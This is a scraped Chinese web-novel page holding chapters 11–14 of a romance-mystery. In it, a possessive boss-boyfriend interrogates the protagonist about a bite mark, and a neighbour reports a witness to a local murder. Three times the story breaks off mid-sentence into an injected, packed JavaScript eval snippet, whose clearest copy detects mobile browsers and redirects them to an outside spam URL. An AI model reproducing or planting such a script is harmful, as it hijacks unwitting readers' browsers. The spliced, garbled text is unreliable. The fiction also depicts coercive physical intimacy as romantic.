11. 第二个男朋友 元舒怎么也没想到,自己有朝一日会被“捉奸”。 他不想用这个词,但邬从律现在的眼神、状态、表现,都明晃晃地摆着这个词。 男人平静的模样像是暴风雨前的宁静,如果他没有给出对方满意的答复,那么下一秒,他就会被怒火撩烧,成为灰烬。 “我……” 元舒绞尽脑汁想理由,但是话音刚出,邬从律却好像看穿了他拙劣的演技,直接打断他。 “先回家。” 邬从律的手从他唇上离开,滑落在他肩膀,稳稳握住,往身边一揽,元舒毫无防备,几乎跌在他怀里。 元舒整个人像是被他钳制着往前走,动作偏移不了半分,走至门口,拿出钥匙开门时,元舒恨不得动作再慢一点,好让自己想出解决办法。 可惜他动作一磨蹭,邬从律就立刻出手,从他手里拿过钥匙,干脆利落地插进了钥匙孔。 清脆的一声“咔哒”开门声,元舒听见自己身旁的男人发出类似于冷笑的声音。 “……” 元舒第一次恨自己租的房子是老小区,没有安装电子密码锁,要不然就假装摁错密码,让门自动反锁,就能拖延时间了。 “不进去吗?” 邬从律微微用手推了他肩膀一把,元舒不得不进去,脱鞋,摸着黑去走向客厅,想要把遮光窗帘拉开,结果人还没走过去,身后先传来“砰”的关门声,听得他脊背发麻。 他不该放邬从律进来的…… 这个念头一出,元舒就感觉身后的人在靠近他。 他当即放弃去开灯,转而去推自己身后靠近自己的邬从律,结果刚一动作,对方就猛地攥住他的腰,把他推至墙上。 玄关柜子被碰撞发出嘎吱声,在门与柜子中间只容得下一个人的间隙里,元舒被邬从律顶在了墙上,无法动弹。 “啊……”墙壁的冰冷透过单薄的衣服布料传进皮肤,元舒不由倒吸一口凉气。 邬从律屈膝,一条腿抵在他的两腿中间,彻底把他卡住。 男人倾身靠近,烟灰色的眼眸在昏暗的、只有一丁点午后阳光从遮光窗帘缝隙照进来的室内,亮得像是野兽的眼睛。 “谁咬的?”对方再一次问了在门外的问题。 元舒双手撑着他的肩膀,抬起眼睫跟他对视,知道这件事躲不过去了。 可他要怎么解释呢?难道邬从律即将从他的身上得知他出轨吗?一波未平一波又起…… “不说?” 男人的手从他的腰开始往背上探索,指尖勾起下摆T恤,探进内里,细腻温热的皮肤触感在手掌心蔓延,一点点往上,薄得能摸到骨骼的背,肩胛骨…… 元舒思绪被搅乱,张口欲言,却被邬从律的眼神所制止。 “既然不说,我也不想听了。”邬从律依旧寡淡着一张冰山似的脸,语气平静,却让元舒听出了一种疯感。 “我自己看。” 看?怎么看? 元舒不明白,但下一秒,他就懂了,因为邬从律抚摸他腰背的手从后握住了他的脖子,而另一只手则是用有食指与中指撬开了他的唇。 修长的手指如仪器一般搜寻着温热的口腔。 元舒听见自己剧烈的心跳声与呼吸,手指在口中搅动探索时发出的滋滋水声令他感到恼怒,而罪魁祸首仍在继续。 邬从律的声音在寂静的屋内格外清晰。 “……右边口腔有伤口,舌头也有。” 手指停止动作。 邬从律淡淡地阐释事实。 “亲得很凶,你的舌头破皮了。” 讥讽地评价。 “饿狗一样,把你弄脏了。不止表面。” 邬从律的视线扫过元舒的脸颊,本想继续往身体看,但最后还是停留在那双含泪的眼睛上。 泪珠在夜里像是星星。 邬从律突然生出渴望,想要将它舔去——但那不应该。 元舒没有再挣扎反抗,仿佛被他粗鲁的动作吓住了,愣在那里一动不动。 在这安静的屋里,只有他们彼此的呼吸和心跳声清晰而又响亮。 邬从律看着面前的人……蹙起的眉头、泛红的眼角、乌黑的发、雪白的皮肤、呼吸时耸动的鼻尖。 好像下一秒眼泪就要掉下来了。 鬼使神差地,邬从律松开了握住那纤长细瘦脖颈的手,把手指从那温热的口中抽出。 他有一点后悔,后悔那么对元舒,但随即心里升起了更加庞大而疯狂的毁灭欲。 太漂亮了,太脆弱了。一手就能掌握住的单薄身躯,灵魂又是如此纯净,怎么会有这样的人呢? 好像无论对他做什么,他都能承受住,也能轻易就能勾起人的欲望。 “……元舒。” 邬从律低下头,薄唇轻启,缓声道:“告诉我,他还动了你哪里?” 元舒擦掉唇角的水渍,垂下眼眸,一言不发。 邬从律耐心地等待了三秒,依旧没有得到回复后,重新抬起手,抚摸他的脸颊,想要再度说话:“你……” 啪—— 急而短促风扇来,清脆的一巴掌,邬从律偏过头,左边脸颊火辣辣的疼痛让他立刻从欲望的漩涡中醒来。 邬从律缓缓把头扭回来,“元舒。” 面前的青年不再像刚刚那样沉默而纵容地让他为所欲为,而是抬起头,一双眼睛灼热而晶亮。 不再像是安静的星光,而像是火焰。 “怎么了?我就是被人亲了又怎么了?” 元舒冷笑:“你不找亲我的人麻烦,反而来欺负我这个受害者?你就是这样当人男朋友的吗?” “懦夫。” 邬从律怔愣。 元舒趁着这个机会把他推开,快步走到客厅的落地窗前,把窗帘猛地拉开。 阳光照进来的一瞬间,邬从律慢半拍似得回神。 他跟上元舒,拽住了对方的手臂。 “他强迫你?” 元舒想甩开他的手,没甩开,干脆转过身直面他。 邬从律近一米九的身高,元舒虽然有一米八,但还是需要仰起头看他。 从最开始的气势上,元舒就隐约输了一筹。 好不容易掰回一成,元舒怎么会让自己落得下风呢?他拽住邬从律的领带,硬生生像牵狗绳一样把人拉到与自己面对面。 邬从律挺拔的脊背因此弯下。 男人俯身时,身上木质香水的气味扑面而来,宽厚的肩背给人一种危险的压迫感。 烟灰色的眼眸一眨不眨地盯着元舒,等待他的答复。 元舒突然很想看见这张平静的脸变得扭曲。 刚好也能试探。 “你知道这附近发生了杀人案吗?”元舒问他。 邬从律眼眸微动:“知道。你害怕。” 因为害怕,所以昨晚才会误以为邬从律是跟踪他的杀人犯,以至于和邬从律大打出手,邬从律怎么会不知道? “你可以搬来和我一起住,我会保护你。”邬从律给出了和明飞尘一样的解决办法。 元舒想再给他一巴掌,当然,他也这样做了,但并不是像刚刚一样清脆响亮的一巴掌,而是带着讥讽与冷漠,轻轻拍打了一下对方完好无痕的另外半张脸。 邬从律从来没有被人狎昵得,像宠物一样拍过脸。 但他看着元舒,没有反抗。 “我今天去警局了。”元舒说,“你知道为什么吗?” 领带再次拉紧,元舒和邬从律几乎面贴面,彼此都能看清对方眼中的自己。 元舒一字一句道:“我出门时,遇见了跟踪狂,和他打了一架,我脸上的牙印,和嘴唇的痕迹,都是他留下的。” “如果不是我跑得及时,恐怕就不止这些事情发生了。” “……” 话音落下,邬从律像是心里起了波澜,眼睫颤动片刻,再抬眸时,元舒看不出他眼里的情绪。 “抓住了吗?”邬从律问。 元舒呆了一下,差点没反应过来这句话。 “没有。” 元舒忍不住锤了他肩膀一拳:“你的注意点不对!”一般情况下,不都是会担心他的情绪吗? 邬从律像是看出了他的想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你在想什么?” 手腕突然被抓住,元舒如梦初醒,睁大眼睛。 面前,邬从律正微微眯起眼睛看着他。 元舒面不改色地甩开他的手:“在想你要怎么跟我道歉。” “……” 道歉这个词对邬从律来说非常陌生,他注视着元舒,片刻的沉默后,他开口:“是我不分青红皂白,污蔑了你,抱歉。” 邬从律思索了一下:“我会清空你的购物车。” 太好了,待会儿给购物车多加点东西。 元舒眉头都没动一下,不吭声。 邬从律继续说:“特殊情况,带薪休假。” 元舒眼睛一下就亮了,可惜邬从律这个加班狂又补充了一句:“工作进度不能落下,你需要偶尔回一下消息,辅助完成工作,我也可以下班后来你家工作,这样你就不会忘记工作进度,方便回去之后更好地工作。” “……”去死吧加班狂,这和居家办公有什么区别? 元舒面无表情,正想说什么,但他嘴刚张开,就猛地想起昨天夜里在房间发现的监控摄像头。 房间有,客厅会不会有呢? 元舒心沉了下去。 他看了眼邬从律,莫名想到了一个办法,可以排除很多人的嫌疑。 于是下一秒,他转身进屋。 邬从律如他所料地跟进了房间。 卧室房门关闭,元舒骤然间停下脚步,转身扑向邬从律,像对方刚才对他一样,把人压在了门上。 邬从律呼吸一滞。 他看着怀里的人,眸色深深,欲望在其中慢慢变成漩涡,想要把人卷进去。 “低头。”命令从元舒口中吐出。 邬从律顺从地低下头,靠近对方。 柔软的唇落在了他的左边脸颊,随后猝然一痛。 邬从律眉头紧皱,下意识躲开,元舒也没追,而是擦了一下自己嘴唇上留下的一点口水。 邬从律抬手,摸向自己的脸颊,元舒咬得狠,几乎见血,牙印摸起来凹凸不平。 他看向元舒。 面前的青年勾起唇角,道:“顶着牙印去上班吧,邬总。” 12. 第二个男朋友 牙印留在脸上,邬从律擦去上面冒出来的血珠与一点水渍,目光沉沉地看着面前的元舒。 元舒本来理直气壮,但被他看得也不由侧过身闪躲,不想再被他直勾勾地盯着。 “不服气?”元舒坐在桌前的椅子上,双手交叠半趴在桌面,头也靠了下去。 临近傍晚,夏日末尾的阳光也变得柔软了些许,不再过分灼烧人的皮肤,以至于光线落在元舒身上时,像是给他镀了一层浅淡的金光。 纤长浓密的睫毛颤动着,脸半倚在自己的臂弯中,黑发又遮住些许脸颊,只有一双眼睛灵动而狡黠。 邬从律顶着牙印,恬不知耻道:“我以为你要亲我。” “……” 元舒想翻白眼:“你想得美。” 邬从律面无表情,依旧盯着他不吭声,元舒的表情逐渐变得迟疑,这家伙不会真想让他亲吧? 他不想啊。 “噗嗤。” 轻微的笑声骤然在房间内响起,元舒讶异抬眸,就看见站在门口如同雕像般巍然不动的男人突然忍俊不禁地垂下头。 元舒一怔,邬从律这是……在笑吗?在笑他? “这也算亲了。”邬从律的手指划过脸颊的牙印的凹陷齿痕,眼中还有未消退的笑意,看得元舒一愣一愣的。 他好像没见过邬从律笑,无论是现实,还是在脑海中那稀薄的记忆里,男人都像是一架高速运转的机器,即使有欲望,也是含蓄地像是一场毫无预兆的风暴。 “只是有些重。” 邬从律上前两步,来到元舒面前,手指同样划过他的脸颊上的牙印,随后又落在他的唇珠上。 元舒回想起不久前在玄关发生的一切,邬从律的粗暴与冷漠令他不禁瑟缩躲避。 邬从律动作微顿,但还是收回手,弯腰、低头、倾身靠近。 当男人冰冷而又柔软的唇落在他的脸颊上的牙印时,元舒后退的动作像是被摁了暂停键。 这还不止。 舌头舔过上面的牙印,覆盖另一个人的标记,而后又很轻地落在了他的唇上。 因为元舒是侧着头靠在桌上,邬从律也不得不歪着头,跟着他相反的角度,轻轻地吻过去,在临离开时,小小地嘬了一下那微肿的唇珠。 最后,在元舒茫然的目光里,邬从律直起身,烟灰色的眼眸在阳光下显出一种异样的温柔。 “里面我就不亲了,下次来。” “……” 元舒慢半拍地反应过来,耳朵瞬间烧红。他不怕粗暴又干脆的亲吻与暧昧,但这种微风抚过般的怜爱让他感到陌生。 “我没准你亲我。”元舒坐直身子,没什么气势地瞪他。 邬从律奇怪:“男朋友亲你,还需要报备吗?” “当然。” 元舒腹诽:还男朋友,你都不知道排行老几呢。 元舒胡搅蛮缠:“刚刚你污蔑我的事还没完,你不会以为我那么容易就消气了吧?” 邬从律从善如流:“那你要怎么样才能彻底消气?” 元舒暂时还没想到,但他觉得自己得好好地想一个制约邬从律的办法,所以他先找了个借口糊弄:“我饿了,你先给我做饭。” “我做吗?”邬从律问。 “不然我做吗?”元舒反问。 “……” 邬从律这回没继续问了,而是平静看了元舒一眼,点头:“好。” 元舒莫名有种不祥的预感,为了阻止,他又连忙给邬从律颁布新任务:“我家没菜,你自己去附近超市买菜,至少做三菜一汤,家里卫生也没打扫,你也得帮我做一下。” “好。” 邬从律一一答应。 如此乖巧懂事,人却那么大一只立在那里不走,像是在发呆。 元舒狐疑地看了他两秒,思来想去,最后大发慈悲地对着他招手。 邬从律睨了他一眼,弯下腰,然后又被扯住了领带。 但是这一次,不是拉扯,而是整理。 古人有言,手是美人的第二张脸。元舒的手就长得很美,因为皮肤白,骨骼明显,于是看着格外剔透,玉石一般,底下青紫色的脉络也像是奇异的纹路,透着脆弱的美感。 手指纤长,骨节分明,又不纯然是无力柔弱的,一弯一拉,喉头的束缚感传来,邬从律垂下眼睫,看见对方手指灵活地为他打好了领带结,再稍微松开些,不至于让他难以呼吸。 之后是抚摸起皱的纹路,以及衬衫、西装外套的褶皱。 得体、漂亮。 “好了,出门干活吧。”元舒拍拍他的胸口,让他起身。 一点小小的福利,比亲吻还要更叫人心潮澎湃。 邬从律控制不住地生出一点渴望,想要把元舒吞进肚子里。 但触及到元舒催促不满的目光后,他还是应好,转身离开了。 当房门打开又关闭,元舒在屋内静静地坐了一分钟,然后立刻跑出房间开始往客厅各处开始翻找。 半小时,他几乎把方方面面角落抽屉翻了个遍,但除了翻出几个做工精致的袖扣以外什么都没找到。 看着手中几枚宝石袖扣,元舒不敢赌这是邬从律的,还是其他人的。 嗒嗒。 敲门声响起,应该是邬从律回来了。 元舒把纽扣放在口袋,起身走向大门,先是在猫眼里看了眼,看见一个快递员正把一个信封状的快递放在他的门口,之后就转身离开了。 元舒现在对送东西的职业一律带有警惕心理,他在门口守了大概十分钟左右,都看见对面邻居下班进屋了,才打开门,拿起了快递。 他拿着快递进入房间拆开,居然是一打来自国外的明信片,没有任何留言,寄件人是G。 G…… 元舒脸拿出手机翻找置顶联系人,发现了G字开头的疑似男友名字——谷郁浸。 谷郁浸上次说马上回来,他是在国外出差吗?元舒不禁点开对方头像,一片黑,看不出马上东西来,再点进朋友圈,近三天可见,封面背景也是一片黑色。 如果不是对方确实回过消息,元舒会以为这个号已经被弃用了。 元舒试着给对方发消息。 [元舒:我收到快递了。] 他本以为对方回消息会很慢,但是万万没想到,几乎是下一秒,谷郁浸就回了一条信息。 [谷郁浸:喜欢吗?] 元舒怎么可能回不喜欢。 [元舒:喜欢,但是你不是在出差吗?怎么有空拍照片寄给我。] [谷郁浸:客户和我爸妈认识,第二天就结束了,我被逮回家了,这是我家附近的照片。] “……” 元舒拳头硬了,原来这个世界只有他是可怜的打工人社畜吗?怎么其他人都是富豪和富二代! 谷郁浸的消息很快又发过来。 [谷郁浸:你要来玩吗?我派人去接你。] 元舒拒绝。 [元舒:不用了,我还得上班。] [谷郁浸:啧。] 门外再度响起敲门声 ,元舒疑心又是快递员,但出去一看,是买菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239164|181879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来的邬从律。 邬总正单手提着超市袋子,蹙紧眉头在门口等待门打开。 元舒不知道为什么,看着他的表情觉得十分好笑。 “买了什么菜?” 元舒扶着门框,探头往他手里看,下午的菜应当不大新鲜,元舒只瞧见了一条处理好的,被盒子装起来的生鱼,以及青菜、蘑菇……不对,怎么还有奶油? “你买奶油做什么?”元舒不明所以。 邬从律提着菜往里走:“做奶油蘑菇汤。” 元舒愣在原地:“什么?” 邬从律进入厨房之前,路过客厅,在看见一片狼藉之后,脚步微顿,面无表情地看向元舒。 元舒有一点心虚,但他很快就昂起下巴,理直气壮道:“有意见?” 他明示,“我还在生气。” 不知道是不是错觉,这句话一出,元舒似乎看见邬从律眼中闪过一丝无奈的笑意,可定睛一看,还是一张面瘫死人脸。 傍晚六点半,客厅的灯开了,半开放式的厨房里发出细微的煲煮声,身形高大的男人穿着围裙,微微弯着腰,一手扫把,一手扫帚地打扫卫生,将被推倒的摆饰放回原位。 元舒在旁边倚墙看着,心情舒爽。 且不说卫生不用自己收拾,邬从律就算不是他对象,也是他老板,看着平日里压榨自己的资本家在为自己干活,元舒觉得自己一顿能吃下三碗饭。 邬从律扫地也和上班一样一丝不苟,直到将地上的垃圾清理干净,才去卫生间洗手,换了一条新的围裙围上,重新去厨房做饭。 到了饭点,邬从律把菜一一端出来,元舒洗完澡出去,坐在餐桌前,看着香喷喷的饭菜,眉头都舒展了。 “不吹头发吗?”邬从律在元舒拿筷子时,问道。 元舒洗了头,但只用毛巾简单擦拭,吸干了水,黑发湿润,颜色更深,衬得被热水蒸腾过而泛粉的脸颊愈发鲜嫩。 一身米白色的居家服,柔软又轻便,餐桌顶上暖黄色的灯光照射而下,看得人心也跟着轻盈柔软起来。 “不吹了,天热,待会儿就干了。”元舒浑然不知坐在自己对面的男人逐渐变深的眸光,他拿起筷子夹了块西兰花,像是开水焯过后,直接撒盐的减脂餐蔬菜,算了……能吃。 然后又用勺子舀了口奶油汤……好奇怪的味道,元舒差点吐出来,竭尽全力才硬生生咽下去。 “……” 元舒看着剩下的两个菜,一时间陷入沉默。 邬从律淡声道:“我很少做饭,这是第一次。” “……你怎么不早说。” 邬从律:“你不是在生气吗?” ……现在更生气了。 “我以为你会做家常菜。”元舒深呼吸一口气,有点悲伤。 “我在国外读书,这些是我常吃的饭菜。”邬从律道,“只是我还不会做肉类。” “……” 邬从律:“你不吃吗?” 元舒抬头,与邬从律对视,在对方眼里看到了明晃晃的等待。 等待他继续尝试剩下两盘菜。 元舒不敢吃,他想点外卖吃预制菜了。 也不知道是不是老天爷听到了他的祈祷,元舒放在桌面的手机突然震动了一下,一条信息弹了出来。 谢天谢地,从警局出来后没有调勿扰模式。 元舒借着看信息停止了当小白鼠,结果在视线触及到屏幕上方的消息后,瞳孔紧缩,神情大变。 ……发信息的人是王佩佩,上面写着——危险,速来救我。 13. 第二个男朋友 元舒坐着邬从律开的车,按照王佩佩发送的定位去接对方时,已经是晚上八点半了。 车子停在一处路边街巷,前面不远就是商业街,而这边巷口却堆满了垃圾,散发出恶臭,破旧的路灯灯光闪烁,时亮时暗,元舒一时间竟都不敢下车。 不过他最终还是打开车门,用手机手电筒照射四周,试探着喊:“王佩佩?王小姐……你在吗?” 啷当—— 野猫被他的叫声所惊动,从墙上一跃而下,跳到了底下的杂物,发出响声,又像一道闪电一样冲向元舒,在他脚边飞速穿过,直接进入人潮拥挤的商业街道。 元舒吓了一跳,下意识后退,心如擂鼓般咚咚作响。 而就在这时,一道轻微的脚步声从巷子内里传出,元舒警惕看去,先听到了沙哑的呼唤。 “元先生?” 元舒一怔。 下一秒,一道人影自巷内慢慢挪动走出,带着明显的防备和迟疑,仿佛如果外面站着的人她不认识,她就会立刻再缩回里面去躲避。 元舒回神,赶忙应道:“是我,元舒,我来了。” 巷子里面的人这才继续往外走,黯淡的灯光照亮对方的脸,赫然就是王佩佩。 元舒松口气,还好不是骗局。 王佩佩更是眼泪“唰”一下冒出来,快跑几步,哭着扑进元舒的怀里,崩溃喊叫:“呜呜呜!元先生……谢谢你来救我……” 元舒不敢抱她,又见她情绪实在不对劲,只好任由她发泄,一边哄道:“我来了,你不用怕,有什么事你尽管跟我说,我能帮你的一定帮你。” “呜呜你太好了元先生……” 王佩佩哭得不能自已。 元舒无可奈何,直到怀里的人不知为何哭声嘎然而止,他才反应过来不对劲,回头一看,是邬从律下车了。 邬从律站在两人背后,身形高大而极具危险性,烟灰色的眼眸静静地看着他们,面无表情的模样看得人心里发慌。 “放开他。”邬从律道。 这句话一出,王佩佩下意识松开手,退后几步离开元舒的怀抱,惊恐不安地看着对方,颤抖着声音问元舒:“……他是谁?” 元舒被她放开,松了口气,闻言解释:“他是我的老板。” 干脆眼也不眨地撒谎理由:“今天我上班,因为有份文件没处理好,所以他来到我家来找我,结果我收到你的短信,又没有车,所以……” 所以只好让邬从律当一回司机了。 王佩佩登时面露同情。 说到上班,连害怕都减少了。 “原来是这样……老板还挺,挺严谨的。”事儿多的资本家。 “你到底发生什么事了?怎么出现在这里?”元舒见她情绪稳定,不由问道,“你这几天都没回家吗?” “没有。” 王佩佩摇头,神色立即又变得警惕,她道:“他可能还在附近找我,先上车吧,在车上我跟你们说。” “好。” 三人一齐上了车,元舒本想去后座,方便安慰王佩佩,顺带听她说情况,但脚步刚挪,就被邬从律睨了一眼。 “去哪儿?” “……” 元舒默默去了副驾驶座。 王佩佩毫无所觉,还以为邬从律在问她,心中感慨元舒的老板人还怪好的,回道:“回家吧,地址您应该知道的,我和元先生是邻居。” 邬从律嗯了一声,开动了车子。 车子稳健地驶向道路,在离开了那条街之后,王佩佩紧绷的神经才松懈下来,眼泪重新决堤,但是没有起初看见元舒时的崩溃,而是庆幸后的泪水。 元舒扭头看她:“到底怎么了?” 王佩佩擦掉泪水,深呼吸一口气,接过元舒递过来的矿泉水,拧开喝了几口润嗓子,才把自己这两天的经历说出来。 “因为租房附近发生了杀人案,警察又没把人抓住,我实在害怕,所以晚上就没回家,去了我朋友的家里住,只是我没想到,她男朋友也在她家里。” 王佩佩忍不住回忆起来,那天傍晚下班,她敲响了好友的门,一进去,就闻到了一股很淡的酒味,之后就在客厅沙发看见了躺在上面正在睡觉的男人。 她之前见过好友对象的照片,所以看见对方的脸,立刻就认出来了。 “你怎么不跟我说,你男朋友也来了啊?”王佩佩不禁埋怨,“你要是说了,我就不来了。” 朋友租的房子虽然是两房一厅,但王佩佩不想要和陌生男人,尤其是朋友对象住在一起。 朋友低声说:“你别吵醒他,他凌晨喝醉了过来的,好像是和人吵架了……他应该不会在这里住,晚点醒来应该就会走的。” 随后又安慰:“要是他不走,我给你订个酒店怎么样?薅他的钱给你定个五星级,你现在回去也是担惊受怕,还不如在这里跟我玩会儿呢。” 朋友的男朋友是个富二代,平日里花钱如流水,对王佩佩的朋友非常舍得花钱,但王佩佩仍然觉得对方人品不太好,只是一直没有找到破绽和机会。 听了这番话,王佩佩思来想去,还是在朋友的劝说中留了下来。 主卧有独立卫浴,朋友的男朋友躺在沙发上一直没起来,王佩佩就待在朋友的房间里面洗了个澡,并且点外卖吃完了午饭。 直到十点半,王佩佩纠结是否要住下,还是要出门住酒店时,门外传来了争吵声。 “小晶在跟她男朋友吵架。”王佩佩回想起那个画面,不由抱紧了自己的双臂,“因为吵得太厉害,我害怕小晶遇见麻烦,就打开门缝听了……” …… “你昨晚去淮水区干什么了?!” 王佩佩的好友陈晶眉头紧皱,看着躺在沙发上的男友,质问道,“你是不是又去找那个女人了?她搬家搬到那边了?你不是说过要和她断掉吗?” 陈晶的男友尤明达是个富二代,自然也有一些富二代的陋习——好色且花心。 陈晶父母都是体制内,陈晶长得漂亮,学习成绩好,带出去有面子,所以尤明达还花了一点功夫去追对方,两人浓情蜜意过一段时间,之后尤明达有些腻歪,就又恢复了以往花心的性子,出去勾搭女人。 因为有钱,尤明达还确实勾引到了几个女人,但很快就被陈晶发现。 陈晶的聪明被用到了抓出轨上,这令她十分难以接受。 两人闹过吵过哭过,最后都以尤明达道歉,陈晶舍不得对方曾经对她的好而结束。 “没有去找人,我就是出去见个朋友。”尤明达不耐烦道,“你朋友在这里是吧?那我走,你们好好玩吧,我给你打点钱……” “我要的是钱吗?我要的是你的人!”陈晶哭道,“每次都这样,我现在根本就不敢相信你,我也不知道你说的话是真是假,尤明达,我真的累了……” 陈晶怕吵醒王佩佩,也不想在朋友面前丢脸,擦掉泪水,道:“如果你不说清楚,我们就分手吧。” 分手这个词一说出来,尤明达立刻就以为陈晶又是想威胁他,可当不屑的话语即将从口中说出时,陈晶平静的眼神让尤明达意识到,这并不是玩笑。 这次的争吵不同以往。 尤明达心里莫名有点慌乱,他以为陈晶不会离开他…… “真的是去找朋友,你相信我好吗?” “哪个朋友?” “这不能说……” 陈晶不再询问,只是说:“你走吧。” …… “所以这和你独自跑到外面,并且给我发信息求助有什么关系吗?”元舒疑惑。 王佩佩解释:“他们吵到这里才吵到重点,我给你发消息的时候,手机还剩下百分之一的电。” “早知道就不光顾着玩手机不充电了……”王佩佩懊恼。 “好了继续说吧。”元舒打断王佩佩的话,催促道,“这到底是怎么一回事?” 王佩佩点头,继续往下说:“当时小晶要把尤明达分手,赶走他,他立刻就慌了……” …… 在王佩佩打开门缝往外偷看的视角里,她看见尤明达连忙起身抱住陈晶,解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王佩佩的回忆说完之后,车内久久无人言语,只有引擎发动时发出的细微响声。 夜色深沉,车子一路往前行驶,越过两边商铺高楼,灯光明亮,像是一座与白天截然相反的城市。 元舒没想到事情兜兜转转,竟然又回到了原点。 杀人案居然有目击证人! 本来以为线索就此断了,结果老天像是在跟他开玩笑一般,立刻就送了新的线索过来。 “那之后呢,你们报警了吗?为什么你会离开你朋友家?”元舒问。 王佩佩不禁拍了下腿,咬牙恼道:“尤明达太贱了!他不敢说,也不让小晶说!而且当时……我因为太震惊,偷听被他们发现了……” “我劝尤明达去报警,把线索告诉警方,但是他却很激动地拒绝了。” 王佩佩想到这里,仍然觉得奇怪。 当时尤明达眼神闪烁,表情懊恼又烦躁,不像是单纯害怕杀人犯不会放过他,而是因为其他秘密。 “我还以为是他想包庇他的朋友,可是他却说……这件事爆出来会连累很多人,不如就这样结束。” 王佩佩焦虑地握紧自己的手,指尖捏得发白。 “我怀疑他肯定还藏着其他秘密……我当时很害怕,小晶也看出来了,然后我们先稳住了尤明达,我借口出去买夜宵,想要去报警……但是一出门,尤明达就跟上来了。” 车灯照射在她身上,仿佛烙印一般,王佩佩甚至有种对方立刻就会开车撞上来的错觉。 她毫不犹豫地选择了逃跑,而不出她的预料,尤明达确实开车追上来,企图把她掳上车,好在陈晶家附近就有商业街,她跑进商业街,混进人群,勉强逃过一劫。 又因为手机即将关机,元舒发来的消息又在消息页前排,所以她惊慌失措之下,给元舒发了求救消息和定位。 “……之后手机就关机了。” 王佩佩咬紧唇,看着元舒,不安道:“我们现在要不要去报警啊?我怕他追到租房,而且小晶还在家里呢,尤明达不会对她做什么吧?” “你别怕,会没事的。”元舒安慰她,“我今天去了警局,我会把这件事告诉警察的,淮水区这两天也一直有定点巡逻的警察,我们很安全。” 王佩佩信任元舒,放下心:“那就好。” 与此同时,车子也驶停在他们居住的小区楼下。 邬从律平静的声音在车内响起。 “到了。” 14. 第二个男朋友 王佩佩率先下车。她像惊弓之鸟,急迫地想要回家,找个安全的地方躲起来,以防被尤明达抓到。 元舒落后她一步,留在车上,对邬从律道:“你先回去吧,明天还得上班。” 说这话时,元舒还有些紧张,如果邬从律硬是想要留宿,他也没办法把人赶走,只是他没想到,邬从律没有丝毫不满和反抗,而是点头应下。 “好。” 元舒反而愣住了。 邬从律太过轻易的顺从,令他感到疑惑,尤其是今晚王佩佩说的那些话……元舒可没忘记邬从律的嫌疑,他时刻警惕对方是否别有居心。 不过事到如今,时间紧急,他也只能收敛了心里的不安,打算离开。 只是他掰了一下车把手,门却没开。 “元舒。” 邬从律喊他名字的语气像是在公司里让他汇报工作进度。 元舒侧头,还没来得及看过去,眼前一黑——是他面前的灯光被倾斜靠来的男人遮住了。 额头落下很轻的触感,蜻蜓点水。 “晚安。” 邬从律垂眸注视着他,轻声道。 元舒低低地嗯了一声:“……晚安。”之后匆匆下车,走向王佩佩,在被对方用疑惑的眼神看着时,脸颊不由发烫。 “刚刚……” 元舒清了清嗓子,正打算胡掐个理由哄骗对方,结果王佩佩先一步问他: “你们在车上说了什么?” 元舒一怔,“你没看见吗?” “没有,车玻璃是防窥的。”王佩佩摇头。 元舒松口气,“没什么,就是问我什么时候能回去上班,这几天我申请了居家办公。” “哦哦……” 元舒见她表情略有迟疑,似乎是在纠结着什么,心下一动。 即使在安静的,只有他们二人行走的小区路道,他也压低声音问:“怎么了?” 王佩佩犹豫再三,往元舒身边凑了一步,低声说:“……你还记得,我说,尤明达是富二代吗?” 这句话一出,电光火石间,他立即就明白了。 王佩佩不信任邬从律。 “我不是不信你的老板,我是不敢信。”王佩佩见元舒表情没有丝毫不满,松口气,继续道,“我记得你老板是邬……什么?我忘记了,但是我在财经报纸和金融新闻里看过他的照片,他应该也不是白手起家,而是富二代,富n代吧?” 王佩佩抿唇道:“尤明达既然说,他是去见朋友,能被他称为朋友的,除了和他一起的那群纨绔富二代,也就只剩下小晶的朋友了,可小晶的朋友怎么会在大晚上约他出去见面呢?” 当然,这也不排除尤明达确实是出去出轨了,那么问题又来了,如果是去出轨,发现出轨对象是杀人犯,为什么不报警? 尤明达不肯报警的原因是怕被牵连……这说明,他口中疑似杀人犯的朋友,大概率是富二代。 “说不定他们认识。”王佩佩越想越觉得害怕,声音轻颤,“……所以警察也没那么轻易就能找到线索。” 王佩佩侧头看向沉默不语的元舒,怕对方想不开,劝道:“我们都是普通人,他们有钱……我们把线索匿名告诉警察,就已经是我们能做到的极限了,至于其他的,生死有命了。” 经历这一遭,王佩佩也生出几分疲惫来。 元舒回神,拍拍她的肩膀,“生死有命,命也是得靠自己争的,不争,怎么知道会不会改命呢?” 他本来都死了,结果还穿越了,多了一条命,自然要付出代价。 不过听王佩佩这番话,他也想通了对方带来的这条线索。 明飞尘、邬从律,甚至是谷郁浸,这三个人都是富n代,家庭富裕,天之骄子,上流社会的圈子是闭环的,他们肯定知道彼此…… 按照王佩佩说的话进行分析,他们说不定还认识尤明达,甚至,说不定认识那个“杀人凶手”。 ……杀人凶手在三人之中出现也并不是不可能的。 谷郁浸说是在国外出差,结果被逮回家了,可究竟在不在国外,谁都不知道。 “元先生?” 王佩佩的声音唤回元舒的思绪,他嗯了一声,正要解释自己刚刚那番话,就见王佩佩下定决心,握拳道:“我本来不想告诉你的,我怕你也被他们……但是不说我心里又不安心,尤明达这周末要参加一个生日派对,是他朋友举办的,本来小晶还想带我去见见世面……” “我们告诉警察吧,让他们潜伏进去,看看有没有什么异常。”王佩佩说,“尤明达很蠢的。” 元舒忍俊不禁:“这倒是个好办法。” 